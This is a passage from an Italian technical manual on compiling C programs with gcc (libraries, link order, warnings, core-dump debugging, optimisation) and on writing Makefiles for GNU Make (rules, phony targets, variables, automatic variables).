Se si utilizza una funzione che appartiene a una libreria prevista nella compilazione, della quale però non si dichiara il prototipo, si può anche ottenere una compilazione «corretta», ma non è detto che, durante il funzionamento del programma, il passaggio degli argomenti attraverso i parametri della funzione avvenga in modo altrettanto corretto. In pratica, è molto probabile che la chiamata di tali funzioni produca risultati errati.

76.7.5 Librerie statiche e librerie dinamiche

Le librerie statiche sono file-oggetto raccolti in archivi generati con il programma '**ar**', dove i nomi dei file di tali archivi hanno estensione '.a'. L'uso di queste librerie implica l'incorporazione del codice utilizzato nel programma finale.

Per compilare un programma che utilizza delle librerie statiche è sufficiente indicare i nomi dei file che le contengono, assieme agli altri file del programma:

$ **gcc mio.c /usr/lib/libncurses.a** [*Invio*]

In alternativa, secondo la modalità normale, quando i file di tali librerie si trovano nelle directory previste, si può usare l'opzione '**-l**', a cui si attacca il nome della libreria, ottenuto dal nome del file togliendo l'estensione e il prefisso 'lib'. Pertanto, l'esempio appena mostrato andrebbe trasformato così:

$ **gcc -static mio.c -lncurses** [*Invio*]

Le librerie dinamiche sono realizzate in modo differente rispetto a quelle statiche e sono contenute normalmente in file con estensione '.so'. La compilazione con l'uso di librerie dinamiche avviene in modo analogo a quanto visto per quelle statiche:

$ **gcc mio.c /usr/lib/libncurses.so** [*Invio*]

Oppure:

$ **gcc -dynamic mio.c -lncurses** [*Invio*]

Come si può intuire dagli esempi mostrati, se una stessa libreria è fornita sia in versione statica, sia in versione dinamica, le opzioni '**-static**' e '**-dynamic**' servono a precisare che tipo di compilazione si vuole. Se però si omette di specificarlo, in generale vengono utilizzate le librerie dinamiche.

L'opzione '**-l**' implica una ricerca dei file delle librerie all'interno di directory prestabilite, ma può succedere che sia necessario esplicitarlo nella riga di comando. In tal caso si può usare l'opzione '**-L**':

$ **gcc mio.c -L/opt/mia/lib -lmia** [*Invio*]

Nell'esempio appena mostrato, la compilazione richiede l'uso della libreria '**mia**' ('libmia.so' o 'libmia.a') che va cercata prima nella directory '/opt/mia/lib/'.

Dal momento che l'uso delle librerie si affianca all'inclusione dei file che ne contengono il prototipo, conviene ricordare anche l'opzione '**-I**', con la quale si richiede di cercare i file da includere a cominciare dalla directory specificata:

$ **gcc mio.c -I/opt/mia/include -L/opt/mia/lib -lmia** [*Invio*]

In questo nuovo esempio, si specifica anche che i file da includere vanno cercati a cominciare dalla directory '/opt/mia/include/'.

Naturalmente, il problema dei percorsi di ricerca per i file da includere riguarda solo quelli che nel sorgente si indicano tra parentesi angolari, come in questo esempio:

```
#include <stdio.h>
```

Diversamente, se il nome fosse messo tra apici doppi, il file verrebbe cercato nel percorso indicato esplicitamente nel sorgente stesso.

A ogni modo, quando la compilazione manifesta dei problemi che non sembrano dovuti a errori sintattici, conviene usare l'opzione '**-v**', con la quale si vede esattamente cosa tenta di fare il programma frontale e dove si interrompe la compilazione. Ciò può essere molto utile per capire, per esempio, quando il problema deriva da file mancanti (librerie o altro).

Per il procedimento necessario alla produzione di una libreria, statica o dinamica, si veda la sezione 76.2.

76.7.6 L'ordine dei file e delle librerie nella compilazione

La compilazione corretta richiede che i file e le librerie siano indicati nella riga di comando secondo un ordine logico: prima il file che contiene la funzione ***main()***, poi i file o le librerie contenenti le funzioni chiamate dal primo file, poi i file o le librerie contenenti le funzioni chiamate dai predecessori e così di seguito. Per esempio, se il file 'uno.c' contiene la funzione ***main()*** e a sua volta chiama la funzione ***due()*** contenuta nel file 'due.s', la riga di comando per la compilazione deve avere l'aspetto seguente:

```
$ gcc uno.c due.s ...
```

Se poi la funzione ***due()*** si avvale della funzione ***tre()***, contenuta nella libreria 'libtre.a', la riga di comando si sviluppa così:

```
$ gcc uno.c due.s -ltre ...
```

Naturalmente, anche la funzione ***tre()*** potrebbe avvalersi di una funzione contenuta in una seconda libreria. Per esempio potrebbe usare la funzione ***quattro()*** della libreria 'libquattro.so':

```
$ gcc uno.c due.s -ltre -lquattro ...
```

Questa è una regola generale da considerare in fase di collegamento (*link*). Si osservi che GNU LD (ovvero il programma usato automaticamente da '**gcc**' per questo scopo) non richiede necessariamente tale accorgimento, ma ugualmente è meglio curarsi di rispettare il principio.

76.7.7 Prevenzione e ricerca degli errori

Il linguaggio C può essere usato «bene» o «male», così come ogni altro linguaggio. Nel caso particolare del C, certi modi leciti di scrivere un programma possono essere facilmente motivo di errori banali, evitabili se si chiede al compilatore di segnalare anche le piccole mancanze. In pratica, con '**gcc**' è bene usare sempre l'opzione '**-Wall**' per ottenere la segnalazione di una serie numerosa di avvertimenti; eventualmente a questa opzione si può aggiungere '**-Werror**', con la quale si trasformano gli avvertimenti in errori, così da evitare che in loro presenza la compilazione vada a buon fine.

Per analizzare il funzionamento del programma con GDB o altri analizzatori simili, conviene aggiungere l'opzione '**-gstabs**', oppure un'altra opzione che inizi per '**-g**...', in base alle caratteristiche del programma usato per l'analisi.

Infine, disponendo di un sistema GNU, o di un altro sistema compatibile con il modello di Unix, è bene abilitare lo scarico dell'immagine dei processi elaborativi in un file (*core dump*). Così facendo, quando durante il funzionamento un programma tenta di eseguire un'azione che il sistema impedisce, questo programma viene fermato e scaricato in un file '`core`' che può essere analizzato successivamente con GDB. A titolo di esempio viene mostrato un sorgente che produce un errore del genere:

```
int main (void)
{
    int a;
    a = 1 / 0;
    return a;
}
```

Se si compila il programma con l'accortezza di aggiungere l'opzione '**-Wall**' si viene avvisati del problema, ma in questo caso si preferisce ignorarlo:

$ **gcc -Wall -gstabs errore.c** [*Invio*]

```
errore.c: In function 'main':
errore.c:4: warning: division by zero
```

Prima di proseguire, ci si assicura che lo scarico dell'immagine del processo elaborativo sia abilitata:[4]

$ **ulimit -c unlimited** [*Invio*]

Si avvia il programma difettoso:

$ **./a.out** [*Invio*]

```
/bin/sh: line 1: 12134 Floating point exception(core dumped) ./a.out
```

Il messaggio della shell avvisa di avere «scaricato la memoria», ovvero di avere creato il file '`core`'. Con GDB si può procedere alla ricerca di cosa è stato a causare l'errore:

$ **gdb a.out core** [*Invio*]

```
...
Core was generated by `./a.out'.
Program terminated with signal 8, Arithmetic exception.
#0  0x08048344 in main () at errore.c:4
4           a = 1 / 0;
```

76.7.8 Problemi con l'ottimizzazione

Il compilatore '**gcc**' consente di utilizzare diverse opzioni per ottenere un risultato più o meno ottimizzato. L'ottimizzazione richiede una potenza elaborativa maggiore, al crescere del livello di ottimizzazione richiesto. In situazioni particolari, può succedere che la compilazione non vada a buon fine a causa di questo problema, interrompendosi con segnalazioni più o meno oscure, riferite alla scarsità di risorse. In particolare potrebbe essere rilevato un uso eccessivo della memoria virtuale, per arrivare fino allo scarico della memoria (*core dump*).

È evidente che in queste situazioni diventa necessario diminuire il livello di ottimizzazione richiesto, modificando opportunamente le opzioni relative. L'opzione in questione è '**-O*n***', come descritto nella tabella 76.102. In generale, l'assenza di tale opzione implica la compilazione normale senza ottimizzazione, mentre l'uso dell'opzione '**-O0**' può essere utile alla fine della serie di opzioni, per garantire l'azzeramento delle richieste di ottimizzazione precedenti.

Tabella 76.102. Opzioni di ottimizzazione per '**gcc**'.

Opzione	Descrizione
-O -O1	Ottimizzazione minima.
-O2	Ottimizzazione media.
-O3	Ottimizzazione massima.
-O0	Annullamento delle richieste precedenti di ottimizzazione.

Alle volte, compilando un programma, può succedere che a causa del livello eccessivo di ottimizzazione prestabilito, non si riesca a produrre alcun risultato. In questi casi, può essere utile ritoccare lo script di Make, dopo l'uso del comando '**configure**'; per la precisione si deve ricercare un'opzione che inizia per '**-O**'. Purtroppo, il problema sta nel fatto che spesso si tratta di più di uno script, in base all'articolazione dei file che compongono il sorgente.

Ammesso che si tratti dei file 'Makefile', si potrebbe usare il comando seguente per attuare la ricerca:

```
$ find . -name Makefile ⮐
↪        -exec echo \{\} \; ⮐
↪        -exec grep \\-O \{\} \; [Invio]
```

Il risultato potrebbe essere simile a quello che si vede qui di seguito:

```
./doc/Makefile
./backend/Makefile
CFLAGS = -g -O2 -W -Wall -DSCSIBUFFERSIZE=131072
./frontend/Makefile
CFLAGS = -g -O2 -W -Wall -DSCSIBUFFERSIZE=131072
./include/Makefile
./japi/Makefile
CFLAGS = -g -O2 -W -Wall -DSCSIBUFFERSIZE=131072
./lib/Makefile
CFLAGS = -g -O2 -W -Wall -DSCSIBUFFERSIZE=131072
./sanei/Makefile
CFLAGS = -g -O2 -W -Wall -DSCSIBUFFERSIZE=131072
./tools/Makefile
CFLAGS = -g -O2 -W -Wall -DSCSIBUFFERSIZE=131072
./Makefile
```

In questo caso, si può osservare che i file '`./doc/Makefile`', '`./include/Makefile`' e '`Makefile`', non contengono tale stringa.

Tabella 76.104. Riepilogo delle altre opzioni utilizzate con '**gcc**' nel corso del capitolo.

Opzione	Descrizione
`-E`	Elabora il file solo con il precompilatore.
`-S`	Genera un file in linguaggio assemblatore (prevale sull'opzione '**-c**').
`-c`	Fa sì che la compilazione salti la fase di collegamento (*link*). In condizioni normali serve a generare solo i file-oggetto. Se si usa questa opzione, ma non si specifica l'opzione '**-o**', il file-oggetto ha un nome con la stessa radice del file sorgente e l'estensione '`.o`'.
`-o` ***nome_file***	Dichiara il nome del file che si vuole ottenere.
`-static` `-dynamic`	Richiede espressamente di compilare utilizzando le librerie statiche o dinamiche.
`-l`***libreria***	Indica il nome di una libreria da utilizzare. Il nome del file che la contiene può essere '`lib`***libreria***`.a`' o '`lib`***libreria***`.so`', a seconda che si tratti di una libreria statica o dinamica.
`-L`***percorso***	Indica un percorso in cui ricercare i file delle librerie, che prende la precedenza sugli altri già considerati.
`-I`***percorso***	Indica un percorso in cui ricercare i file da includere, che prende la precedenza sugli altri già considerati.
`-Wall`	Richiede di mostrare tutti i messaggi che avvertono dell'uso imperfetto del linguaggio (*warning*).
`-Werror`	Fa sì che tutte le segnalazioni di avvertimento siano trattate come errori e portino al fallimento della compilazione.
`-gstabs`	Inserisce delle annotazioni, con le quali i programmi come GDB possono abbinare il sorgente originale all'esecuzione controllata del programma.

76.8 Compilazione guidata con Make

La compilazione di un programma, in qualunque linguaggio sia scritto, può essere un'operazione molto laboriosa, soprattutto se si tratta di aggregare un sorgente suddiviso in più parti, o peggio, se si tratta di un progetto costituito da più programmi. Per semplificare la procedura si potrebbe predisporre uno script che esegue sequenzialmente tutte le operazioni necessarie, ma la tradizione richiede di utilizzare il programma Make.

Uno dei vantaggi più appariscenti nell'uso di Make sta nella possibilità di evitare che vengano rielaborati i file che non sono stati modificati, abbreviando quindi il tempo di compilazione necessario quando si procede a una serie di modifiche limitate.

Make viene usato normalmente assieme a uno script, denominato comunemente '`Makefile`',[5] scritto in un modo che dovrebbe risultare molto semplice da interpretare; tuttavia, è comunque possibile fare il contrario, specialmente con le versioni più evolute di tale programma. Evidentemente, Make è utile quando lo si utilizza con moderazione, ovvero con uno script semplice e lineare, altrimenti uno script di shell è sicuramente più appropriato al caso.

Gli esempi che qui mostrano script di Make non contengono commenti, pertanto è bene chiarire subito che le righe bianche o vuote vengono ignorate, così come si ignora il testo che appare alla destra del simbolo '**`#`**'.

76.8.1 Obiettivo, dipendenze e comandi

Make viene usato per realizzare un ***obiettivo*** attraverso uno o più comandi da impartire alla shell (precisamente '`/bin/sh`'), dopo che sono stati soddisfatti altri eventuali obiettivi da cui quello finale dipende. In linea di principio, **l'obiettivo è rappresentato dal nome di un file che deve essere generato**.

Per esempio, volendo produrre il programma '**`somma`**' che si ottiene dalla compilazione dei file '`uno.c`' e '`due.c`', l'obiettivo «somma» che si ottiene con il comando '**`ld -o somma uno.o due.o`**', dipende dagli obiettivi «uno.o» e «due.o», in quanto i file '`uno.o`' e '`due.o`' devono essere presenti per poter eseguire il collegamento con il programma '**`ld`**'.

uno.o due.o
obiettivo
dipende da altri obiettivi
$ **make somma**
si ottiene con
$ **ld -o somma uno.o due.o**

Nello script di Make, l'obiettivo di esempio mostrato si descrive come si vede nella figura successiva, dove il tratteggio verticale a sinistra rappresenta l'inizio della prima colonna. Ciò che descrive un obiettivo è, nel suo complesso, una ***regola***:

```
somma:  uno.o due.o
   HT → ld -o somma uno.o due.o
```

Si deve tenere a mente che la riga che definisce l'obiettivo e le dipendenze deve iniziare dalla prima colonna, mentre le righe contenenti dei comandi devono trovarsi rientrate con un carattere di tabulazione orizzontale (<*HT*>); al contrario, degli spazi veri e propri come rientro non sono ammissibili.

L'esempio introdotto è incompleto, perché non esplicita in che modo ottenere gli obiettivi '**`uno.o`**' e '**`due.o`**'. Ecco come potrebbe essere composto lo script completo delle regole che descrivono tutte le dipendenze:

```
somma: uno.o due.o
        ld -o somma uno.o due.o

uno.o: uno.c mate.h
        cc -c -o uno.o uno.c

due.o: due.c
        cc -c -o due.o due.c
```

Per comprendere l'esempio va chiarito che per ottenere il file '`uno.o`' è necessario il file '`uno.c`' che a sua volta include il file '`mate.h`'.

Il vantaggio di usare Make sta nel fatto che questo tiene conto della data di modifica dei file, nel momento in cui valuta le dipendenze. Nel caso dell'esempio, per eseguire il collegamento (*link*) dei file oggetto nel file eseguibile '**`somma`**', è necessario disporre di tali file oggetto, ma se il file eseguibile esiste e se questi file oggetto esistono e hanno una data di modifica antecedente a quella del file eseguibile, allora sarebbe da intendere che tale operazione non sia necessaria. Tuttavia, i file '`uno.o`' e '`due.o`' sono indicati come obiettivi da ottenere attraverso altri file: nel caso di '`uno.o`' è stabilito che dipende dai file '`uno.c`' e '`mate.h`'; nel caso di '`due.o`' è stabilito che dipende solo dal file '`due.c`' (si osservi che per i file '`uno.c`', '`mate.h`' e '`due.c`' non sono state dichiarate altre dipendenze). A questo punto è logico attendersi che anche la data dei file di partenza conti. In pratica, le date di modifica di '`uno.c`' e '`mate.h`' devono essere antecedenti a qualla di '`uno.o`' e così deve essere antecedente anche quella di '`due.c`' rispetto a quella di '`due.o`'. Se a un certo punto si modifica il file '`mate.h`' (e quindi la data di modifica viene aggiornata dal sistema operativo), la dipendenza che riguarda il file '`uno.o`' richiede la ripetizione dei comandi relativi; quindi viene ricompilato il file '`uno.o`' e viene eseguito nuovamente il collegamento che genera il file eseguibile '**`somma`**'.

Figura 76.108. Modello sintattico di una regola, per la definizione di un obiettivo in uno script di Make.

```
obiettivo...: [dipendenza...]
<HT>comando
...
```

Per ottenere lo stesso risultato pratico dell'esempio mostrato, si può modificare il modo in cui si indica la dipendenza dovuta al file 'mate.h':

```
…
uno.o: uno.c
        cc -c -o uno.o uno.c

uno.c: mate.h
        touch uno.c mate.h
…
```

Ciò che appare nel pezzo mostrato indica che il file 'uno.o' dipende da 'uno.c' soltanto, ma il file 'uno.c' dipende dal file 'mate.h'. Se il file 'mate.h' si trova ad avere una data più recente di 'uno.c', le date vengono rese uguali e viene rifatta la compilazione.

76.8.2 Obiettivi fittizi

In generale, un obiettivo di Make viene raggiunto con la creazione o l'aggiornamento di un file che ha lo stesso nome dell'obiettivo, attraverso dei comandi stabiliti. In pratica, l'obiettivo è quel file da generare o aggiornare. Tuttavia, spesso si definiscono obiettivi che non implicano la creazione di un file con tale nome; pertanto servono per essere eseguiti sempre, assicurando che le dipendenze eventuali siano rispettate.

```
all: somma moltiplicazione

somma: …
        …
moltiplicazione: …
        …
…
```

L'esempio mostra una situazione tipica in cui si utilizza un obiettivo fittizio, in questo caso denominato '**all**'. Questo obiettivo ha il solo scopo di richiamare automaticamente gli obiettivi '**somma**' e '**moltiplicazione**' (ma nell'esempio, questi ulteriori obiettivi non vengono descritti). C'è da osservare però una cosa importante: **se per qualunque ragione dovesse esistere un file con lo stesso nome dell'obiettivo, avente una data di modifica successiva a quella dei file degli obiettivi da cui dipende, l'operazione non verrebbe eseguita**, salve naturalmente altre ipotesi riferite alle dipendenze degli obiettivi precedenti.[6]

Per ovviare all'inconveniente dovuto alla possibilità che esista un file con lo stesso nome di un obiettivo fittizio, non correlato a tale file, si può usare uno strattagemma consolidato:

```
clean: FORCE
        rm *.o core

FORCE:
```

In questo caso, l'obiettivo '**FORCE**' (usato comunemente per questo scopo), non ha dipendenze, non ha comandi, inoltre si dà per certo che non possa esistere un file con lo stesso nome; pertanto l'obiettivo risulta sempre da raggiungere. L'obiettivo '**clean**' che ha evidentemente

lo scopo di eliminare alcuni file non più necessari, dipendendo dall'obiettivo '**FORCE**', viene eseguito in ogni caso, anche se esistesse un file 'clean', perché la dipendenza non è mai soddisfatta.[7]

76.8.3 Scelta dell'obiettivo

Make è costituito generalmente dal programma eseguibile '**make**' e si usa solitamente secondo la sintassi seguente:

make [***opzioni***] [***obiettivi***]

Per esempio, il comando seguente richiede a Make di «raggiungere» l'obiettivo '**somma**':

$ **make somma** [*Invio*]

Se però non si specifica l'obiettivo, questo viene determinato in modo predefinito:

$ **make** [*Invio*]

Ammesso che nella directory corrente sia presente lo script di Make (per convenzione deve trattarsi del file 'Makefile'), l'obiettivo viene cercato al suo interno e se non è stato definito si intende il primo che appare nel file.[8]

È comunque possibile utilizzare Make anche senza script, ma in tal caso l'indicazione dell'obiettivo nella riga di comando è obbligatoria. L'utilizzo di Make senza uno script dipende da quelle che sono definite ***regole implicite***. In pratica, quando si richiede un obiettivo non previsto espressamente, Make cerca di fare la cosa più logica, partendo dal presupposto che il contesto sia relativo alla compilazione di un programma. Si osservi l'esempio seguente:

$ **make prova** [*Invio*]

Se non è stato definito l'obiettivo '**prova**', Make considera il contenuto della directory corrente e cerca qualcosa che sia ragionevolmente trasformabile nel file 'prova'. Per esempio, se trova il file 'prova.c' esegue automaticamente il comando '**cc -o prova prova.c**'. Questa proprietà di Make consente di omettere la descrizione delle regole degli obiettivi «ovvi». Questo sistema di regole implicite serve anche per semplificare il lavoro di stesura di uno script di Make, quando si descrive un obiettivo finale e non si stabiliscono le regole per ottenere le dipendenze:

```
somma: uno.o due.o
        ld -o somma uno.o due.o

uno.c: mate.h
        touch mate.h uno.c
```

Questo esempio richiama quanto già mostrato in precedenza: dato che la costruzione dei file 'uno.o' e 'due.o' richiede dipendenze prevedibili, non è necessario descriverne le regole.

76.8.4 Interpretazione dei comandi che portano a un obiettivo

In condizioni normali, i comandi che devono essere eseguiti per il raggiungimento di un certo obiettivo, vengono passati alla shell '/bin/sh', indipendentemente dalla shell utilizzata dall'utente che avvia il programma '**make**'.

I comandi troppo lunghi possono essere spezzati e ripresi nella riga successiva, se alla fine della riga interrotta appare il simbolo '****', esattamente come sarebbe in uno script per una shell Bourne. C'è però da osservare che, in questo caso, il comando passato alla shell comprende letteralmente sia '****', sia il codice di interruzione di riga successivo, ma questo fatto, di norma, non ha conseguenze nel risultato.

Sul problema dell'interruzione e proseguimento delle righe dei comandi occorre soffermarsi su un fatto: nella riga che viene ripresa, il carattere di tabulazione iniziale viene omesso automaticamente, nel momento in cui viene chiesto alla shell di eseguire il comando. L'esempio seguente rappresenta il contenuto di uno script che dovrebbe chiarire il meccanismo. Per ora si sorvoli sulla presenza della chiocciola all'inizio dei comandi:

```
esempio:
	@echo "supercalifragilisti\
	chespiralidoso"
	@echo "supercalifragilisti \
	chespiralidoso"
```

Ecco cosa succede:

$ **make esempio** [*Invio*]

```
supercalifragilistichespiralidoso
supercalifragilisti chespiralidoso
```

Si può osservare che nel primo caso la parola è rimasta unita, mentre nel secondo è separata perché uno spazio è stato inserito prima della segnalazione dell'interruzione.

I comandi di una regola sono eseguiti uno alla volta, ma Make tiene conto del risultato. Se il comando eseguito restituisce zero, ovvero se risulta eseguito correttamente, allora Make avvia il successivo, altrimenti interrompe l'operazione segnalando il fallimento dell'obiettivo e di quelli che da lui dipendono.[9] Pertanto, se i comandi possono restituire un errore anche se ciò non pregiudica il raggiungimento dell'obiettivo previsto, occorre provvedere in qualche modo. Per esempio così:

```
obiettivo: …
	…
	mkdir ciao ; true
	…
```

In questo caso, la regola che descrive l'obiettivo contiene un comando che serve a garantire la presenza di una certa directory. Il comando in questione potrebbe fallire se la directory esiste già, senza per questo pregiudicare il resto del procedimento, così si unisce al comando '**true**' che complessivamente fa sì che l'esito sia sempre «corretto». È comunque possibile usare un

prefisso che informa Make di ignorare gli errori; si tratta del segno '-', pertanto l'esempio appena apparso può essere modificato così:

```
obiettivo: ...
        ...
        -mkdir ciao
        ...
```

In generale, prima di avviare ogni comando, Make lo visualizza, in modo da far capire ciò che accade all'utente. In alcune situazioni, però, ciò può essere spiacevole, pertanto è possibile utilizzare il prefisso '@' che evita tale comportamento:

```
mio: ...
        @echo "sto per eseguire la compilazione, bla bla bla..."
        cc -o mio mio.c
```

Come si vede nell'esempio, si vuole fare in modo che il comando '**echo**' non sia «descritto», dato che già serve a mostrare qualcosa.

Tabella 76.118. Alcuni prefissi da usare nelle righe che contengono comandi.

Prefisso	Significato
-	fa in modo che gli errori vengano ignorati;
+	fa in modo che il comando venga eseguito sempre;
@	fa in modo che il testo del comando non venga mostrato.

76.8.5 Variabili o «macro»

All'interno di uno script di Make è possibile definire delle variabili, altrimenti note come «macro». Le variabili si dichiarano attraverso direttive espresse nella forma seguente:

```
nome = stringa
```

In particolare, la stringa non deve essere delimitata e l'ordine della dichiarazione delle variabili non viene tenuto in considerazione, come dimostrato poco più avanti. L'espansione di una variabile si indica attraverso due modi possibili:

```
$(nome)
```

Oppure:

```
${nome}
```

Si osservi l'esempio seguente, in particolare a proposito del fatto che l'ordine di dichiarazione delle variabili non è significativo:

```
bindir = $(exec_prefix)/bin
prefix = /usr/local
sbindir = $(exec_prefix)/sbin
exec_prefix = $(prefix)

all:
        @echo "prefix = $(prefix)"
        @echo "exec_prefix = $(exec_prefix)"
        @echo "bindir = $(bindir)"
        @echo "sbindir = $(sbindir)"
```

Ammesso che questo sia lo script di Make contenuto nella directory corrente:

`$` **`make`** [*Invio*]

```
prefix = /usr/local
exec_prefix = /usr/local
bindir = /usr/local/bin
sbindir = /usr/local/sbin
```

Il fatto che l'ordine nella dichiarazione nelle variabili non conti, implica che l'assegnamento a una variabile del proprio stesso contenuto produca un circolo vizioso. In pratica, una cosa come la dichiarazione seguente **non è ammissibile**:

```
opzioni = -c
opzioni = -gstabs $(opzioni)
```

Invece di agire così, per aggiungere qualcosa a una variabile occorre una direttiva differente:

nome += ***stringa***

Si osservi l'esempio seguente e ciò che succede provando a usare '**`make`**':

```
opzioni = -c
opzioni += -gstabs

all:
        @echo "opzioni = $(opzioni)"
```

`$` **`make`** [*Invio*]

```
opzioni = -c -gstabs
```

Come si può intendere, le variabili di Make che appaiono all'interno dei comandi, vengono espanse prima dell'esecuzione dei comandi stessi; di conseguenza, se si vuole usare il dollaro ('**$**') in modo che la shell lo recepisca, occorre raddoppiarlo:

```
obiettivo: …
        …
        NUM=3 ; echo $$NUM
        …
```

GNU Make recepisce le variabili di ambiente e le assimila tra le proprie variabili, ma se nel proprio script vengono ridefinite, ciò prevale sul valore ottenuto dall'esterno.

Make prevede delle variabili predefinite, il cui scopo principale è controllare il funzionamento delle regole implicite, ma che spesso vengono usate per coerenza anche nei comandi di obiettivi dichiarati esplicitamente. La tabella 76.127 ne elenca alcune e l'esempio successivo, riprendendone un altro già apparso, mostra in che modo potrebbero essere usate:

```
somma: uno.o due.o
        $(LD) $(LDFLAGS) -o somma uno.o due.o

uno.o: uno.c mate.h
        $(CC) -c $(CFLAGS) -o uno.o uno.c

due.o: due.c
        $(CC) -c $(CFLAGS) -o due.o due.c
```

Trattandosi di variabili conosciute, se utilizzate correttamente si facilita la lettura dello script, consentendo di precisare, se ce ne fosse bisogno, il nome del compilatore e le opzioni da dare:

```
LD = ld
CC = gcc
CFLAGS = -gstabs

somma: uno.o due.o
        $(LD) $(LDFLAGS) -o somma uno.o due.o

uno.o: uno.c mate.h
        $(CC) -c $(CPPFLAGS) $(CFLAGS) -o uno.o uno.c

due.o: due.c
        $(CC) -c $(CPPFLAGS) $(CFLAGS) -o due.o due.c
```

Tabella 76.127. Elenco di alcune variabili predefinite di Make.

Nome	Contenuto usuale	Annotazioni
`MAKE`	`make`	Il nome del programma stesso. Di solito viene usata questa informazione per l'avvio di altri Make in sottodirectory con un proprio script.
`SHELL`	`/bin/sh`	La shell che deve eseguire i comandi: è bene evitare di cambiare il valore di questa variabile, ovvero, se dichiarata, è bene confermarlo.
`AR` `ARFLAGS`	`ar` `rw`	Il programma di archiviazione usato per creare le librerie statiche e le sue opzioni consuete.
`LD` `LDFLAGS`	`ld`	Il programma usato per collegare i file-oggetto in un file eseguibile e le sue opzioni consuete. Di norma non sono previste opzioni particolari.
`AS` `ASFLAGS`	`as`	Il programma usato per compilare un file in linguaggio assemblatore e le sue opzioni consuete. Di norma non sono previste opzioni particolari.
`CPP` `CPPFLAGS`	`cpp`	Il precompilatore e le sue opzioni consuete. Di norma non sono previste opzioni particolari.
`CC` `CFLAGS`	`cc`	Il programma usato per compilare un file in linguaggio C e le sue opzioni consuete. Di norma non sono previste opzioni particolari.
`PC` `PFLAGS`	`pc`	Il programma usato per compilare un file in linguaggio Pascal e le sue opzioni consuete. Di norma non sono previste opzioni particolari.

76.8.6 Utilizzo oculato delle variabili

Dal momento che le variabili possono essere espanse in ogni posizione di uno script di Make, le definizioni ripetitive possono essere semplificate. Nell'esempio successivo si dichiara la variabile '**`obj`**', contenente l'elenco dei file-oggetto coinvolti nella produzione di un certo file eseguibile:

```
obj = aaa.o bbb.o ccc.o ddd.o \
      eee.o fff.o ggg.o
...
prog: $(obj)
    ld -o prog $(obj)
...
```

Generalmente, i nomi delle variabili sono scritti utilizzando solo lettere maiuscole, ma non c'è un obbligo in tal senso. Di solito, l'utilizzo di lettere maiuscole per le variabili vuole indicare

la possibilità di modificarne il contenuto per qualunque adattamento possa essere necessario; per questo, se invece si utilizzano nomi di variabili con lettere minuscole (come nell'esempio mostrato), di solito lo si fa per quelle cose che è bene non modificare.

Come già accennato, GNU Make eredita le variabili di ambiente come proprie variabili-macro, anche se poi queste possono essere ridefinite nello script. In ogni caso, il modo «normale» di assegnare un valore a una variabile, nel momento dell'avvio del programma '**make**', è quello di usare la riga di comando, per esempio, così:

$ **make "CFLAGS = -O" "LDFLAGS = -s"** ***obiettivo*** [*Invio*]

Si supponga di avere uno script come quello seguente e si osservi cosa succede con il comando appena mostrato:

```
CFLAGS = -gstabs
LDFLAGS = -S

all:
        @echo "CFLAGS:  $(CFLAGS)"
        @echo "LDFLAGS: $(LDFLAGS)"
```

$ **make "CFLAGS = -O" "LDFLAGS = -s"** ***obiettivo*** [*Invio*]

```
CFLAGS:  -O
LDFLAGS: -s
```

Pertanto, questo modo di passare il valore alle variabili di Make prevale sulla dichiarazione interna di uno script.

76.8.7 Espansione e continuazione al di fuori dei comandi

Il testo di uno script di Make, quando non costituisce un comando da passare alla shell e non si tratta nemmeno di un commento, può essere espanso, sia a causa dell'uso di variabili, sia per la presenza di caratteri che si espandono in nomi di file, come si fa comunemente per le shell POSIX (quindi si possono usare l'asterisco, il punto interrogativo e le parentesi quadre, con lo stesso significato che hanno per una shell POSIX e si possono anche proteggere i simboli, contro l'espansione, facendoli precedere da una barra obliqua inversa: '****'). Inoltre, è possibile continuare il testo su più righe, usando il simbolo '****' alla fine della riga che deve continuare. L'esempio che appare sotto serve a mostrare l'effetto dell'espansione, ma non è un modello da seguire, perché in pratica si creerebbero delle complicazioni:

```
prog: *.o
        $(LD) $(LDFLAGS) -o prog *.o
```

In questo caso, la realizzazione del file '`prog`' dipende da tutti i file-oggetto presenti nella directory corrente. L'esempio non è utile in generale, perché se tali file sono assenti viene meno la realizzazione dell'obiettivo. È comunque interessante osservare che l'espansione di '***.o**' nell'elenco delle dipendenze avviene per opera di Make, mentre ciò che appare nel comando viene espanso dalla shell.

76.8.8 Variabili automatiche

Alcune variabili non possono essere dichiarate e nemmeno modificate nel loro contenuto. Si tratta delle ***variabili automatiche***, composte da un solo carattere. Per esempio, la variabile '`@`' rappresenta l'obiettivo attuale, ma per espandere il suo contenuto è sufficiente scrivere '`$@`', senza bisogno di parentesi.

Per espandere una variabile si possono sempre evitare le parentesi se il nome di questa è composto da un solo carattere; tuttavia, si preferisce rinunciare alle parentesi solo quando si tratta precisamente di variabili automatiche.

Tabella 76.132. Alcune variabili automatiche.

Variabile automatica	Significato
`*`	Il nome dell'obiettivo attuale, ma senza suffisso; se l'obiettivo non ha suffisso, la variabile risulta vuota.
`@`	L'obiettivo attuale, completo.
`<`	La voce che costituisce la prima dipendenza (quella più a sinistra).
`?`	L'elenco delle dipendenze associate a file che sono più recenti di quello che rappresenta l'obiettivo.
`^`	L'elenco di tutte le dipendenze previste.
`$`	Si espande semplicemente nel simbolo '`$`' e, come per tutte le variabili automatiche, va usato aggiungendo un altro dollaro: '`$$`'. In pratica, nei comandi, le variabili di ambiente vanno annotate raddoppiando il simbolo dollaro; per esempio: '`$$HOME`'.

Per comprendere meglio il significato della descrizione fatta nella tabella precedente, si consideri di disporre dei file seguenti: '`uno.c`', '`due.c`', '`somma.o`'. Inoltre, si suppone che solo '`due.c`' abbia una data di modifica successiva a quella di '`somma.o`'. A tale proposito, si consideri lo script seguente:

```
somma.o: uno.c due.c
        @echo \$$\* = $*
        @echo \$$@ = $@
        @echo \$$\< = $<
        @echo \$$\? = $?
        @echo \$$\^ = $^
```

Se viene avviato, si può leggere lo stato delle variabili automatiche:

$ **make** [*Invio*]

```
$* = somma
$@ = somma.o
```

```
$< = uno.c
$? = due.c
$^ = uno.c due.c
```

Come si può vedere, in questo caso la variabile automatica '`?`' consentirebbe di individuare le dipendenze per le quali si richiede una nuova compilazione.

È importante notare che le variabili automatiche possono essere usate solo all'interno di comandi, perché il loro contenuto si definisce dopo la dichiarazione dell'obiettivo e delle sue dipendenze.

76.8.9 Regole implicite

Le regole implicite sono quelle che descrivono degli obiettivi predefiniti, nel modo più logico possibile. Come già accennato altrove, queste regole definiscono i comandi attraverso delle variabili che è possibile controllare.

Tabella 76.135. Comandi comuni di regole implicite.

Comando	Condizione di utilizzo
